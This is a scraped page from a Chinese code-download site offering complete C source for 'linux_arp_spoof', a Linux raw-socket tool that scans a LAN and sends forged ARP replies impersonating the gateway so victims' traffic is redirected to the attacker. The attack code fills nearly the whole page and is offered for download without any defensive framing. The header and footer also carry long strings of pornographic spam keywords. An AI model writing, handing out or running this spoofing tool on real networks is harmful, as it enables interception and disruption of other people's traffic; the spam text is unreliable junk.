亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? tcpip.txt

?? 用原始套接字LINUX下局域網ARP欺騙的代碼
?? TXT
字號:
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/time.h> 
#include <unistd.h> 
#include <sys/socket.h> 
#include <linux/if_arp.h> 
#include <netdb.h> 
#include <errno.h> 
#include <linux/if_ether.h> 
#include <arpa/inet.h> 
#include <sys/ioctl.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/udp.h> 
#include <netinet/tcp.h> 
#include <pthread.h> 
#define ETH_INT "eth0" 
#define PROGRAME_NAME "linux_arp_spoof" 
#define PROGRAME_VERSION "1.0.1.19" 
#define MAKETIME "08/11/30 17:21" 
int sockfd; 
int send_arp_flag = 0; 
FILE *fp1,*fp2; 
struct sockaddr_ll _sockaddr; 
unsigned char my_ip[4]; 
unsigned char my_mac[6]; 
unsigned char gateway_ip[4]; 
unsigned char attack_ip[4]; 
unsigned char broadcast_mac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; 
//frame header 14 bytes 
struct frame_hdr 
{ 
        unsigned char dst_mac[6]; 
        unsigned char src_mac[6]; 
        unsigned short frm_type; 
}; 
////all frame 14+8+20 bytes 
struct frame_ether 
{ 
        struct frame_hdr fh; 
        struct arphdr ah; 
        unsigned char src_mac[6]; 
        unsigned char src_ip[4]; 
        unsigned char dst_mac[6]; 
        unsigned char dst_ip[4]; 
}; 

void *send_one_arp() 
{ 
for(;;) 
{ 
  if(send_arp_flag == 1) 
  { 
   unsigned char d_ip[4]; 
   struct frame_ether frame; 
   memcpy(frame.fh.dst_mac,broadcast_mac,6); 
   memcpy(frame.fh.src_mac,my_mac,6); 
   frame.fh.frm_type = htons(ETH_P_ARP); 
   frame.ah.ar_hrd = htons(ARPHRD_ETHER); 
   frame.ah.ar_pro = htons(ETH_P_IP); 
   frame.ah.ar_hln = 6; 
   frame.ah.ar_pln = 4; 
   frame.ah.ar_op = htons(ARPOP_REQUEST); 
   memcpy(frame.src_mac,my_mac,6); 
   memcpy(frame.src_ip,my_ip,4); 
   memcpy(frame.dst_mac,broadcast_mac,6); 
   if(fp2=fopen("iplist","r")) 
   { 
    while(!feof(fp1)) 
    { 
//     printf("%d.%d.%d.%d\n",d_ip[0],d_ip[1],d_ip[2],d_ip[3]); 
     fscanf(fp1,"%d.%d.%d.%d\n",&d_ip[0],&d_ip[1],&d_ip[2],&d_ip[3]); 
     memcpy(frame.dst_ip,d_ip,4); 
     int arp_request = sendto(sockfd,&frame,sizeof(frame),0,(struct sockaddr*) 
&_sockaddr,sizeof(_sockaddr)); 
     if(arp_request > 0) 
     { 
      printf("-------------------------------------------------------------------- 
-----------\n"); 
      printf("[%02x:%02x:%02x:%02x:%02x:%02x](%d.%d.%d.%d)",my_mac[0],my_mac 
[1],my_mac[2],my_mac[3],my_mac[4],my_mac[5],my_ip[0],my_ip[1],my_ip[2],my_ip[3]); 
      printf("\t ---request (broadcast)--->\t"); 
      printf("[%02x:%02x:%02x:%02x:%02x:%02x](%d.%d.%d.%d)\n",broadcast_mac 
[0],broadcast_mac[1],broadcast_mac[2],broadcast_mac[3],broadcast_mac[4],broadcast_mac[5],d_ip[0],d_ip[1],d_ip[2],d_ip[3]); 
     } 
     else 
     { 
      perror("sendto"); 
     } 
    } 
   } 
   fclose(fp2); 
   send_arp_flag = 0; 
  } 
} 
} 
//send arp request to gateway 
void *send_arp() 
{ 
int i; 
struct frame_ether frame; 
memset(&frame,0,sizeof(frame)); 
/* set ether head */ 
memcpy(frame.fh.dst_mac,broadcast_mac,6); 
memcpy(frame.fh.src_mac,my_mac,6); 
frame.fh.frm_type = htons(ETH_P_ARP); 
/* define arp ether head */ 
frame.ah.ar_hrd = htons(ARPHRD_ETHER); 
frame.ah.ar_pro = htons(ETH_P_IP); 
frame.ah.ar_hln = 6; 
frame.ah.ar_pln = 4; 
frame.ah.ar_op = htons(ARPOP_REQUEST); 
memcpy(frame.src_mac,my_mac,6); 
memcpy(frame.src_ip,my_ip,4); 
memcpy(frame.dst_mac,broadcast_mac,6); 
/* send arp request broadcast */ 
for(;;) 
{ 
  for(i=1;i<255;i++) 
  { 
   if((i%10) == 0) 
    sleep(2); 
   if(i == gateway_ip[3] || i == my_ip[3]) 
   { 
    continue; 
   } 
   else 
   { 
    attack_ip[3] = i; 
    memcpy(frame.dst_ip,attack_ip,4); 
    int arp_request = sendto(sockfd, &frame, sizeof(frame), 0, (struct sockaddr*)&_sockaddr, 
sizeof(_sockaddr)); 
    printf("size of : %d\n",arp_request); 
    if(arp_request > 0) 
    { 
     printf("---------------------------------------------------------------------------- 
---\n"); 
     printf("[%02x:%02x:%02x:%02x:%02x:%02x](%d.%d.%d.%d)",my_mac[0],my_mac[1],my_mac 
[2],my_mac[3],my_mac[4],my_mac[5],my_ip[0],my_ip[1],my_ip[2],my_ip[3]); 
     printf("\t ---request (broadcast)--->\t"); 
     printf("[%02x:%02x:%02x:%02x:%02x:%02x](%d.%d.%d.%d)\n",broadcast_mac 
[0],broadcast_mac[1],broadcast_mac[2],broadcast_mac[3],broadcast_mac[4],broadcast_mac[5],attack_ip[0],attack_ip[1],attack_ip 
[2],attack_ip[3]); 
    } 
    else 
    { 
     perror("sendto"); 
    } 
   } 
  } 
  sleep(3); 
} 
} 
// analyse arp reply and send fake arp reply packet 
void *get_arp_reply() 
{ 
int flag,i=0; 
unsigned char b_ip[4]; 
char buf[2048]; 
for(;;) 
{ 
  int n = recv(sockfd,buf,2048,0); 
  struct ethhdr *eth = (struct ethhdr *) buf; 
  if((ntohs(eth->h_proto)) == ETH_P_ARP) 
  { 
   printf("-------------------------------------------------------------------------------\n"); 
   struct frame_ether *old_frame = (struct frame_ether*)buf; 
   struct frame_ether frame; 
   memcpy(&frame,buf,sizeof(frame)); 
   int ar_op = ntohs(frame.ah.ar_op); 
   //----------------arp frame info--------------------------------------// 
   char ip_buf[100]; 
   inet_ntop(AF_INET, &old_frame->src_ip, ip_buf, 100); 
   printf("[%02x:%02x:%02x:%02x:%02x:%02x](%s)", old_frame->src_mac[0],old_frame->src_mac[1],old_frame- 
>src_mac[2],old_frame->src_mac[3],old_frame->src_mac[4],old_frame->src_mac[5], ip_buf); 
   printf("\t ---"); 
   if(ar_op == 2) 
    printf("reply--->\t"); 
   if(ar_op == 1) 
    printf("request--->\t"); 
   memset(ip_buf,0,100); 
   inet_ntop(AF_INET, &old_frame->dst_ip, ip_buf, 100); 
   printf("[%02x:%02x:%02x:%02x:%02x:%02x](%s)", old_frame->dst_mac[0],old_frame->dst_mac[1],old_frame- 
>dst_mac[2],old_frame->dst_mac[3],old_frame->dst_mac[4],old_frame->dst_mac[5], ip_buf); 
   printf("\n"); 
   //--------------------fake arp frame----------------------------// 
   if(ar_op == ARPOP_REPLY && (old_frame->dst_ip)[3] == my_ip[3] && (old_frame->src_ip)[3] != 
gateway_ip[3]) 
   {//judge the packet is normal arp reply from attack ip// 
    //bulid faked arp reply frame 
    memcpy(frame.fh.dst_mac,old_frame->fh.src_mac,6); 
    memcpy(frame.fh.src_mac,my_mac,6); 
    frame.ah.ar_op = htons(ARPOP_REPLY); 
    memcpy(frame.dst_mac,old_frame->fh.src_mac,6); 
    memcpy(frame.dst_ip,old_frame->src_ip,4); 
    memcpy(frame.src_mac,my_mac,6); 
    memcpy(frame.src_ip,gateway_ip,4); 
    //send faked arp reply frame 
    int arp_reply = sendto(sockfd,&frame,sizeof(frame),0,(struct sockaddr*)&_sockaddr,sizeof 
(_sockaddr)); 
    if(arp_reply > 0) 
    { 
     flag = 0; 
     printf("send faked arp reply to %d.%d.%d.%d \n",(old_frame->src_ip)[0],(old_frame- 
>src_ip)[1],(old_frame->src_ip)[2],(old_frame->src_ip)[3]); 
     if(fp1=fopen("iplist","ar+")) 
     { 
      while(!feof(fp1)) 
      { 
       fscanf(fp1,"%d.%d.%d.%d\n",&b_ip[0],&b_ip[1],&b_ip[2],&b_ip[3]); 
       if(b_ip[3] == (old_frame->src_ip)[3]) 
       { 
        flag = 1; 
        break; 
       } 
      } 
      if(flag == 0) 
      { 
       fprintf(fp1,"%d.%d.%d.%d\n",(old_frame->src_ip)[0],(old_frame- 
>src_ip)[1],(old_frame->src_ip)[2],(old_frame->src_ip)[3]); 
      } 
     } 
     fclose(fp1); 
    } 
    else 
    { 
     perror("sendto"); 
    } 
   } 
   if(ar_op == ARPOP_REQUEST && (old_frame->src_ip)[3] == gateway_ip[3] || ar_op == ARPOP_REQUEST && 
(old_frame->dst_ip)[3] == gateway_ip[3]/* || ar_op == ARPOP_REPLY && (old_frame->src_ip)[3] == gateway_ip[3]*/) 
   { 
    send_arp_flag = 1; 
   } 
  } 
} 
} 
int main(int argc, char **argv) 
{ 
unsigned char *attack; 
if(argc == 2) 
{ 
  if((strcmp(argv[1],"-v"))==0||(strcmp(argv[1],"-V"))==0) 
  { 
   printf("%s version %s\n", PROGRAME_NAME,PROGRAME_VERSION); 
   printf("last make date : %s\n",MAKETIME); 
   exit(1); 
  } 
  if((strcmp(argv[1],"-h"))==0||(strcmp(argv[1],"-H"))==0) 
  { 
   printf("usage : ./linux_arp_spoof [gatewayip]\n"); 
   exit(1); 
  } 
  if((long)inet_addr(argv[1]) < 0) 
  { 
   printf("parameter error : IP error. \n"); 
   exit(1); 
  } 
} 
else 
{ 
  printf("parameter error,please check -h \n"); 
  exit(-1); 
} 
int i; 
unsigned char *cp_ip; 
unsigned int src_ip[4]; 
struct sockaddr_in sin; 
struct ifreq ifr; 
if((sockfd=socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)))<0) 
{ 
  perror("socket"); 
  exit(0); 
} 
memset(&_sockaddr,0,sizeof(_sockaddr)); 
memset(&ifr,0,sizeof(&ifr)); 
// which interface in work mode 
strcpy(ifr.ifr_name,ETH_INT); 
if(ioctl(sockfd,SIOCGIFINDEX,&ifr) != 0) 
{ 
  perror("ioctl"); 
  close(sockfd); 
  exit(1); 
} 
//get local mac 
if(ioctl(sockfd,SIOCGIFHWADDR,&ifr) < 0) 
{ 
  perror("ioctl"); 
  close(sockfd); 
  exit(2); 
} 
// my_mac = ifr.ifr_hwaddr.sa_data; 
for(i=0;i<6;i++) 
{ 
  my_mac[i] = (unsigned char)ifr.ifr_hwaddr.sa_data[i]; 
} 
//get local ip 
if(ioctl(sockfd,SIOCGIFADDR,&ifr) < 0) 
{ 
  perror("ioctl"); 
  close(sockfd); 
  exit(0); 
} 
memcpy(&sin, &ifr.ifr_addr, sizeof(sin)); 
// printf("%s \n",inet_ntoa(sin.sin_addr)); 
// 初始化參數,得到網關和網段 
cp_ip = (unsigned char *)inet_ntoa(sin.sin_addr); 
sscanf(cp_ip,"%d.%d.%d.%d",&src_ip[0],&src_ip[1],&src_ip[2],&src_ip[3]); 
for(i=0;i<4;i++) 
{ 
  my_ip[i] = src_ip[i]; 
} 
cp_ip = argv[1]; 
sscanf(cp_ip,"%d.%d.%d.%d",&src_ip[0],&src_ip[1],&src_ip[2],&src_ip[3]); 
for(i=0;i<4;i++) 
{ 
  gateway_ip[i] = src_ip[i]; 
  attack_ip[i] = src_ip[i]; 
} 
_sockaddr.sll_ifindex = ifr.ifr_ifindex; 
_sockaddr.sll_protocol = htons(ETH_P_ARP); 
// 創建多線程 
remove("iplist"); 
pthread_t id[3]; 
memset(&id,0,sizeof(id)); 
if(pthread_create(&id[0],NULL,send_arp,NULL) !=0) 
{ 
  printf("create pthread1 error\n"); 
  exit(1); 
} 
if(pthread_create(&id[1],NULL,get_arp_reply,NULL) !=0) 
{ 
  printf("create pthread2 error\n"); 
  exit(1); 
} 
if(pthread_create(&id[2],NULL,send_one_arp,NULL) !=0) 
{ 
  printf("create pthread3 error\n"); 
  exit(1); 
} 
pthread_join(id[0],NULL); 
pthread_join(id[1],NULL); 
pthread_join(id[2],NULL); 
} 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品一区专区| 亚洲日本va午夜在线影院| 欧美一卡二卡三卡| 日韩一区二区免费高清| 精品国产sm最大网站免费看| 精品成人免费观看| 欧美国产丝袜视频| 欧美色男人天堂| 久久er99精品| 成人午夜精品在线| zzijzzij亚洲日本少妇熟睡| 色香蕉成人二区免费| 91国偷自产一区二区开放时间| 欧美亚洲高清一区| 日韩欧美国产麻豆| 国产欧美一区二区在线观看| 亚洲欧美在线另类| 亚洲国产一区二区在线播放| 青青草国产精品亚洲专区无| 国产精品综合网| 色婷婷精品久久二区二区蜜臀av | 国产福利精品一区| 粉嫩av一区二区三区粉嫩| 99久久99久久精品国产片果冻| 色婷婷综合激情| 日韩欧美一级片| 亚洲少妇30p| 卡一卡二国产精品| 99亚偷拍自图区亚洲| 欧美电影在哪看比较好| 国产精品久久久久一区二区三区| 亚洲午夜av在线| 国产电影精品久久禁18| 91色.com| 久久精品夜色噜噜亚洲aⅴ| 亚洲情趣在线观看| 久久精品噜噜噜成人88aⅴ| 色综合久久天天| 日韩欧美高清在线| 亚洲免费看黄网站| 三级不卡在线观看| av一本久道久久综合久久鬼色| 欧美天堂亚洲电影院在线播放| 亚洲精品一线二线三线无人区| 亚洲大片免费看| 成人午夜视频网站| 欧美一卡2卡3卡4卡| 一区二区三国产精华液| 国产一本一道久久香蕉| 欧美日韩精品福利| 久久久不卡网国产精品二区| 亚洲成av人**亚洲成av**| 国产成人精品一区二| 3atv一区二区三区| 中文字幕 久热精品 视频在线| 天涯成人国产亚洲精品一区av| 国产日韩影视精品| 国产日韩欧美激情| 亚洲成人动漫在线观看| 成人在线视频首页| 精品人在线二区三区| 亚洲一区二区三区视频在线播放 | 精品中文字幕一区二区小辣椒 | 国产精品网站导航| 日韩黄色一级片| 在线看日本不卡| 国产精品网站导航| 蜜桃精品视频在线观看| 欧美久久久久中文字幕| 亚洲女与黑人做爰| 岛国精品在线观看| 国产女人水真多18毛片18精品视频| 99久久精品一区二区| 国产午夜精品久久久久久久 | 97se亚洲国产综合自在线观| 久久你懂得1024| 看电视剧不卡顿的网站| 欧美巨大另类极品videosbest| 国产欧美一区二区精品仙草咪| 精品一区二区三区欧美| 日韩欧美二区三区| 日韩av中文在线观看| 日韩欧美激情四射| 日韩电影在线观看网站| 欧美精品日韩精品| 亚洲国产日韩a在线播放性色| 91蜜桃在线免费视频| 国产精品传媒视频| 成人一区二区三区视频在线观看| 国产免费观看久久| 成人永久看片免费视频天堂| 久久久99久久| 国产成人综合网| 中文字幕免费在线观看视频一区| 国产精品亚洲专一区二区三区| 日韩一级免费观看| 国产美女视频91| 国产偷国产偷精品高清尤物| 国产成人啪午夜精品网站男同| 国产日韩欧美高清| 成人激情小说乱人伦| 中文字幕欧美日本乱码一线二线| 99精品久久只有精品| 久久精品人人爽人人爽| 成人免费视频免费观看| 国产精品毛片大码女人| 成人一区在线看| 综合久久久久久久| 日本高清视频一区二区| 免费久久99精品国产| 欧美mv日韩mv| 粉嫩嫩av羞羞动漫久久久| 亚洲欧美日韩国产综合| 色综合久久天天综合网| 亚洲成人手机在线| 一区二区成人在线视频| 欧美aⅴ一区二区三区视频| 免费成人在线观看视频| 日韩视频免费观看高清完整版| 免费在线看成人av| 精品久久国产字幕高潮| 国产精品1区2区| 国产精品美女久久久久高潮| 91蝌蚪porny| 午夜在线成人av| 欧美这里有精品| 美女在线一区二区| 久久久蜜臀国产一区二区| 在线观看亚洲专区| 男女性色大片免费观看一区二区 | 91精品午夜视频| 精品综合免费视频观看| 国产精品白丝在线| 欧美日本乱大交xxxxx| 精品在线播放免费| 中文字幕第一页久久| 欧美午夜片在线看| 国内精品不卡在线| 亚洲精品中文在线| 国产成人免费视频网站| 亚洲女同女同女同女同女同69| 日韩欧美国产综合| 欧美在线你懂的| 国产91在线|亚洲| 美美哒免费高清在线观看视频一区二区| 日本一区二区视频在线观看| 7777精品伊人久久久大香线蕉完整版| 三级久久三级久久| 91在线观看免费视频| 久久国产精品99精品国产| 日韩欧美一二区| 日日噜噜夜夜狠狠视频欧美人| 中文字幕乱码亚洲精品一区| 国产91综合网| 国产精品久久久久久久岛一牛影视 | 亚洲卡通欧美制服中文| 精品久久国产97色综合| 欧美日韩aaaaa| 一本大道av一区二区在线播放| 国产精品亚洲а∨天堂免在线| 三级精品在线观看| 亚洲国产人成综合网站| 亚洲色图在线视频| 久久蜜桃av一区二区天堂| 91精品国产91久久久久久最新毛片| 色偷偷成人一区二区三区91| 成熟亚洲日本毛茸茸凸凹| 国产制服丝袜一区| 免费在线观看成人| 日韩精品亚洲专区| 亚洲线精品一区二区三区八戒| 亚洲男人的天堂一区二区| 国产精品久久久久一区| 国产女人aaa级久久久级| 久久久国产综合精品女国产盗摄| 日韩欧美亚洲一区二区| 日韩午夜在线影院| 欧美日本精品一区二区三区| 日韩欧美一二区| 色哟哟国产精品| 亚洲色图.com| 一本久久a久久精品亚洲| 欧美一级黄色片| 中文字幕五月欧美| 91玉足脚交白嫩脚丫在线播放| 久久精品亚洲国产奇米99| 美女高潮久久久| 久久精品一区二区| 91在线免费看| 日本中文一区二区三区| 久久精品一区二区三区四区| 91精品国产综合久久精品麻豆| 欧美日韩三级在线| 精品视频在线免费看| 欧美日韩第一区日日骚| 91.麻豆视频| 欧美成人女星排名| 久久综合狠狠综合| 中文字幕成人网| 国产精品电影一区二区|